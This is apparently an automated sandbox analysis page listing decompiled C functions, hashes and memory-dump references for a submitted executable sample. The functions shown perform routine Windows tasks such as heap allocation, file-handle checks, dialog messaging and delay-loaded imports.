Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a31773b27fe00958b67cfb8f423b0939037f31991f7ab7969cbd98ca7a4ceddf
Instruction ID: b74f6aaa7f406135de3f20a1a4339e1be0dc71aa3549f1f1751930cf42ee87fb
Opcode Fuzzy Hash: a31773b27fe00958b67cfb8f423b0939037f31991f7ab7969cbd98ca7a4ceddf
Instruction Fuzzy Hash: F6113D35D29240EFC718EB58FC4ABDC7BB4EB15310F0080ABF50852292CBB10664CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0024A9C8 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0024A9C8(intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* __esi;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr* _t22;

				_push(__ecx);
				_t22 = __ecx;
				_t24 =  *((intOrPtr*)(__ecx + 8));
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					_t15 = E0025E0A0(__edx, __ecx, _t24, 0xb54); // executed
					_v8 = _t15;
					_t25 = _t15;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E0024A821(_t15, _t25);
					}
					 *((intOrPtr*)(_t22 + 8)) = _t16;
				}
				_t12 = _a4;
				 *_t22 = _t12;
				if(_t12 == 1) {
					 *(_t22 + 4) =  *(_t22 + 4) & 0x00000000;
				}
				if(_t12 == 2) {
					 *(_t22 + 4) =  *(_t22 + 4) | 0xffffffff;
				}
				if(_t12 == 3) {
					E0024599B( *((intOrPtr*)(_t22 + 8)));
				}
				_t13 = _a8;
				if(_t13 >= 8) {
					_t13 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x10)) = _t13;
				return _t13;
			}

0x0024a9cb
0x0024a9cd
0x0024a9cf
0x0024a9d3
0x0024a9da
0x0024a9df
0x0024a9e3
0x0024a9e5
0x0024a9f0
0x0024a9f0
0x0024a9e7
0x0024a9e9
0x0024a9e9
0x0024a9f2
0x0024a9f2
0x0024a9f5
0x0024a9f8
0x0024a9fd
0x0024a9ff
0x0024a9ff
0x0024aa06
0x0024aa08
0x0024aa08
0x0024aa0f
0x0024aa14
0x0024aa14
0x0024aa19
0x0024aa1f
0x0024aa23
0x0024aa23
0x0024aa24
0x0024aa2b

APIs

new.LIBCMT ref: 0024A9DA

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9095faf342d1556563444916553eb39f6ef98b834b6236e064ca20c5c807cac4
Instruction ID: ade93a0ecde5097920b28a25d5846513f6fb4b167f7f81468d6883904b8a9ac7
Opcode Fuzzy Hash: 9095faf342d1556563444916553eb39f6ef98b834b6236e064ca20c5c807cac4
Instruction Fuzzy Hash: F0F0C2315747169FDB38DE68C84575677E8EB05330F208A1EE496C7280E770E8A0CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00245BA7 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00245BA7(intOrPtr __ecx, void* __eflags) {
				intOrPtr _t25;
				intOrPtr _t34;
				void* _t36;

				_t25 = __ecx;
				E0025E0E4(E00271BAE, _t36);
				_push(_t25);
				_t34 = _t25;
				 *((intOrPtr*)(_t36 - 0x10)) = _t34;
				E0024AFBD(_t25); // executed
				_t2 = _t36 - 4;
				 *(_t36 - 4) =  *(_t36 - 4) & 0x00000000;
				E0024FDCB();
				 *(_t36 - 4) = 1;
				E0024FDCB();
				 *(_t36 - 4) = 2;
				E0024FDCB();
				 *(_t36 - 4) = 3;
				E0024FDCB();
				 *(_t36 - 4) = 4;
				E0024FDCB();
				 *(_t36 - 4) = 5;
				E00245D9C(_t34,  *_t2);
				 *[fs:0x0] =  *((intOrPtr*)(_t36 - 0xc));
				return _t34;
			}

0x00245ba7
0x00245bac
0x00245bb1
0x00245bb3
0x00245bb5
0x00245bb8
0x00245bbd
0x00245bbd
0x00245bc7
0x00245bd2
0x00245bd6
0x00245be1
0x00245be5
0x00245bf0
0x00245bf4
0x00245bff
0x00245c03
0x00245c0a
0x00245c0e
0x00245c19
0x00245c23

APIs

__EH_prolog.LIBCMT ref: 00245BAC

Part of subcall function 0024AFBD: __EH_prolog.LIBCMT ref: 0024AFC2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c0e0f831bca1d51349af4988c7e44107abbc858afc14b40a293004ee9a510c6b
Instruction ID: 362227caee82096cb2c4681594d5d17023d0a6d9b158a5c6da4c8b466144ad49
Opcode Fuzzy Hash: c0e0f831bca1d51349af4988c7e44107abbc858afc14b40a293004ee9a510c6b
Instruction Fuzzy Hash: 0E01AF70E25694DAD719E7B8C2053EDBBE49F59305F40449EB44A532C3CBB82B28CB63

Uniqueness

Uniqueness Score: -1.00%

Function 00268398 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E00268398(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E002687DA())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x2a06e4, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00268214();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E00266FF2(_t7, _t8, _t9, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00268398
0x0026839e
0x002683a4
0x002683d6
0x002683db
0x002683e1
0x00000000
0x002683e1
0x002683a8
0x002683aa
0x002683aa
0x002683c1
0x002683ca
0x002683d2
0x00000000
0x00000000
0x002683b2
0x002683b4
0x00000000
0x00000000
0x002683b7
0x002683bc
0x002683bd
0x002683bf
0x00000000
0x00000000
0x002683bf
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00263866,?,0000015D,?,?,?,?,00264D42,000000FF,00000000,?,?), ref: 002683CA

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c5c92ddb30c8a9f8f1d40c2b9373f462257870b258d450028cb17337ba2b1542
Instruction ID: db753b85171c80f0db9c5ec751d65c94357a2ebed6f1e402e563dbb2573f5a33
Opcode Fuzzy Hash: c5c92ddb30c8a9f8f1d40c2b9373f462257870b258d450028cb17337ba2b1542
Instruction Fuzzy Hash: A2E0E5311302229BD6312E666C0975B764CAF41FA0F1403A1FD14A66D1FFA0CCF085E1

Uniqueness

Uniqueness Score: -1.00%

Function 00249670 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00249670(void* __ecx) {
				void* _t16;
				void* _t21;

				_t21 = __ecx;
				_t16 = 1;
				if( *(__ecx + 4) != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t5 = FindCloseChangeNotification( *(__ecx + 4)) - 1; // -1
						asm("sbb bl, bl");
						_t16 =  ~_t5 + 1;
					}
					 *(_t21 + 4) =  *(_t21 + 4) | 0xffffffff;
				}
				 *(_t21 + 0xc) =  *(_t21 + 0xc) & 0x00000000;
				if(_t16 == 0 &&  *((intOrPtr*)(_t21 + 0x14)) != _t16) {
					E00246DD3(0x27ff50, _t21 + 0x1e);
				}
				return _t16;
			}

0x00249672
0x00249674
0x0024967a
0x00249680
0x00249691
0x00249696
0x00249698
0x00249698
0x0024969a
0x0024969a
0x0024969e
0x002496a4
0x002496b4
0x002496b4
0x002496bd

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00249624), ref: 0024968B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 28a354c323c162d1b5da2350e972872c9cd4844abe06611b4de68568e53bde22
Instruction ID: debf699b61c4d31c84bde1ac1e99c983d981f5a42d5ae4506940224bbadd21b3
Opcode Fuzzy Hash: 28a354c323c162d1b5da2350e972872c9cd4844abe06611b4de68568e53bde22
Instruction Fuzzy Hash: 03F0B4304667218EDB388F20850879373E85B13325F048B1DC0FA438E09760649CCF11

Uniqueness

Uniqueness Score: -1.00%

Function 0024A406 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0024A406(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _t12;
				intOrPtr _t20;

				_t20 = _a8;
				 *((char*)(_t20 + 0x1044)) = 0;
				if(E0024B865(_a4) == 0) {
					_t12 = E0024A534(__edx, 0xffffffff, _a4, _t20);
					if(_t12 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t12); // executed
					 *(_t20 + 0x1040) =  *(_t20 + 0x1040) & 0x00000000;
					 *((char*)(_t20 + 0x100c)) = E0024A122( *((intOrPtr*)(_t20 + 0x1008)));
					 *((char*)(_t20 + 0x100d)) = E0024A13A( *((intOrPtr*)(_t20 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x0024a407
0x0024a40f
0x0024a41d
0x0024a42a
0x0024a432
0x00000000
0x00000000
0x0024a435
0x0024a441
0x0024a453
0x0024a45e
0x00000000
0x0024a464
0x0024a41f
0x00000000

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0024A435

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: cab46d83ff0b226dbfa2a959351921f5d881d2e9430b4c616808cba84a7f9649
Instruction ID: 223286cef295c0f4fddbbac0bc840de80b3063be2cf12b55c8ac475e4ed8361d
Opcode Fuzzy Hash: cab46d83ff0b226dbfa2a959351921f5d881d2e9430b4c616808cba84a7f9649
Instruction Fuzzy Hash: 91F0E931059380AACA261BB448087CABBA56F15371F04CA09F1FD12192C2B550A58B33

Uniqueness

Uniqueness Score: -1.00%

Function 002505DA Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E002505DA() {
				void* __esi;
				void* _t2;

				L002512A7(); // executed
				_t2 = E002512AC();
				if(_t2 != 0) {
					_t2 = E00246E21(_t2, 0x27ff50, 0xff, 0xff);
				}
				if( *0x27ff5b != 0) {
					_t2 = E00246E21(_t2, 0x27ff50, 0xff, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x002505dc
0x002505e1
0x002505f2
0x002505f7
0x002505f7
0x00250603
0x00250608
0x00250608
0x0025060f
0x00250617

APIs

SetThreadExecutionState.KERNEL32 ref: 0025060F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: cdde238d8682450d9a9588660b69e486c22a383bf8e52c042b5146d99e763400
Instruction ID: 7e071666753bffaaecea4ea2febd1b3e02e17c422f7a1e2fddce42ee925df3ff
Opcode Fuzzy Hash: cdde238d8682450d9a9588660b69e486c22a383bf8e52c042b5146d99e763400
Instruction Fuzzy Hash: 73D01215B7406215DA2537A87D49BFE1A4B4FC7312F080075F90DAB1C2CEA509BA9AAB

Uniqueness

Uniqueness Score: -1.00%

Function 00249929 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00249929(void* __ecx) {
				long _t3;

				if( *(__ecx + 4) != 0xffffffff) {
					_t3 = GetFileType( *(__ecx + 4)); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0024992d
0x00249935
0x0024993e
0x0024994b
0x00249945
0x00249947
0x00249947
0x0024992f
0x00249931
0x00249931

APIs

GetFileType.KERNELBASE(000000FF,00249827), ref: 00249935

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 001c1367397ac98c8e298046242a075899ae55cfd0e740f87d86d510a20ebf73
Instruction ID: 716a389762a9106b3a14e50898a6026856cb0fddf845989f0db2c16a362910df
Opcode Fuzzy Hash: 001c1367397ac98c8e298046242a075899ae55cfd0e740f87d86d510a20ebf73
Instruction Fuzzy Hash: 2AD01231025142958F3A4E345D4909B66529B43376B38C7ACD025C50A1C732C893F541

Uniqueness

Uniqueness Score: -1.00%

Function 0025D270 Relevance: 1.5, APIs: 1, Instructions: 13
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0025D270(intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _t7;

				SendDlgItemMessageW( *0x287438, 0x6a, 0x402, E0024FA2C(_a20, _a24, _a28, _a32), 0); // executed
				_t7 = E0025ABC4(); // executed
				return _t7;
			}

0x0025d295
0x0025d29b
0x0025d2a0

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0025D295

Part of subcall function 0025ABC4: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0025ABD5
Part of subcall function 0025ABC4: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0025ABE6
Part of subcall function 0025ABC4: IsDialogMessageW.USER32(000103E2,?), ref: 0025ABFA
Part of subcall function 0025ABC4: TranslateMessage.USER32(?), ref: 0025AC08
Part of subcall function 0025ABC4: DispatchMessageW.USER32(?), ref: 0025AC12

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 1fd407bc22e18a62e14ec3c45f059c43d43b506b3fe576cc7936195877c6ad19
Instruction ID: 1a50b0a8c2a447655bd25f0f3f5a979a54d0fe7e6e853d1d3958188151d88104
Opcode Fuzzy Hash: 1fd407bc22e18a62e14ec3c45f059c43d43b506b3fe576cc7936195877c6ad19
Instruction Fuzzy Hash: F4D09E35158200AAD6012B51DE0BF0A7AA7AB98B05F504654B749740F186629E319F17

Uniqueness

Uniqueness Score: -1.00%

Function 0025E04F Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025E04F() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae84, 0x2a1034); // executed
				goto __eax;
			}

0x0025e059
0x0025e061
0x0025e068

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025E061

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fe8a9f23444aa55bd23ce3a3ad0380c7758134541232e7e2f44cfef9dd41f562
Instruction ID: 7d376847c5f295f3f55b563c727c36c41d98d5688c56ddf52efce2cfb31d94d5
Opcode Fuzzy Hash: fe8a9f23444aa55bd23ce3a3ad0380c7758134541232e7e2f44cfef9dd41f562
Instruction Fuzzy Hash: 09B012A627F0017E361821501D03D3A031CC1C1B72331D06BBD00D40C098E10C790536

Uniqueness

Uniqueness Score: -1.00%

Function 0025D925 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D925() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27adc4, 0x2a104c); // executed
				goto __eax;
			}

0x0025d900
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8a7a226eaa7e0b53fa9eb3f976992a1ccfabc3e6a962e27d35d40bca43de9c6b
Instruction ID: 8d5dbea3c78ab01280bdbf3fcb9106b015772faed101d91d2c6c0bfe8484835c
Opcode Fuzzy Hash: 8a7a226eaa7e0b53fa9eb3f976992a1ccfabc3e6a962e27d35d40bca43de9c6b
Instruction Fuzzy Hash: D3B012F627A001AD336471146D0BD3A011CC0C1B33370C01ABC08C00C0E8A40CB80136

Uniqueness

Uniqueness Score: -1.00%

Function 0025D92F Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D92F() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27adc4, 0x2a1050); // executed
				goto __eax;
			}

0x0025d900
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f07f4972e5462b24269830817a12148e9bc2feafcfb9df3a8f1a4c549513f0c5
Instruction ID: 0d2fe227e24192587c537494d7d9113507fecc7ebee6f2aaf446a717eff85411
Opcode Fuzzy Hash: f07f4972e5462b24269830817a12148e9bc2feafcfb9df3a8f1a4c549513f0c5
Instruction Fuzzy Hash: A1B012E627A0016D326471146C0AE3E011CC0C1B33370C41AFC08C00C0E8A00CBC0136

Uniqueness

Uniqueness Score: -1.00%

Function 0025D957 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D957() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27adc4, 0x2a1060); // executed
				goto __eax;
			}

0x0025d900
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
